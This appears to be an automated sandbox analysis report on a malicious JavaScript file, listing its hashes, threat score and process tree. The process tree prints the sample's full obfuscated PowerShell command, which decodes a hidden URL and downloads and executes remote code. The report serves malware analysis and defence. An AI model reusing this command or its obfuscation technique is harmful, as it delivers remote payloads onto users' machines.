Analysis
-
max time kernel
120s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20240729-en -
resource tags
-
submitted
21-12-2024 14:46
General
-
Target
58d2ea56a85fad81a1b5543e20e7826da61eb3d072f377c11680bd0dd1c66ceb.js
-
Size
190KB
-
MD5
5449ab81b9c38bd9e818e49d3d1ba9da
-
SHA1
55c5c94e4f854f0b72135a77a22555c610346327
-
SHA256
58d2ea56a85fad81a1b5543e20e7826da61eb3d072f377c11680bd0dd1c66ceb
-
SHA512
5cd65746307ac1a75f967a6dd20fb44a4d0c38a0b00efea07447a2f1ca80e4cc9dff66aebc3d581081cf797101920e45b92a9f260736c80506b386144a4a5da4
-
SSDEEP
1536:nwQIAIb7UK/O1lTykbJlvdFDSPYfaUIb7UK/O1laykbJlvdFDSPYfaHykbJlvdF1:nd7JRfSJRuJR0qV
Score
10/10
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Command and Scripting Interpreter: JavaScript 1 TTPs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\58d2ea56a85fad81a1b5543e20e7826da61eb3d072f377c11680bd0dd1c66ceb.js1⤵
-
C:\Windows\system32\conhost.execonhost --headless powershell $zkaiegwcryp='ur' ;new-alias printout c$($zkaiegwcryp)l;$wgfoxtdaivjq=(7556,7567,7575,7559,7561,7556,7576,7575,7580,7513,7575,7509,7556,7504,7574,7569,7570,7505,7507,7504,7570,7562,7570,7521,7573,7519,7567,7563,7568,7574,7573,7508,7507);$advueczkxlobt=('bronx','get-cmdlet');$ixghdolsfaw=$wgfoxtdaivjq;foreach($euriqltmvg in $ixghdolsfaw){$jtqyvf=$euriqltmvg;$ebyxfuwgva=$ebyxfuwgva+[char]($jtqyvf-7458);$oysujmzain=$ebyxfuwgva; $cyzqugwxpt=$oysujmzain};$bgcxkq[2]=$cyzqugwxpt;$myruxivbf='rl';$fpsiyoakdqezg=1;.$([char](9992-9887)+'e'+'x')(printout -useb $cyzqugwxpt)1⤵
- Process spawned unexpected child process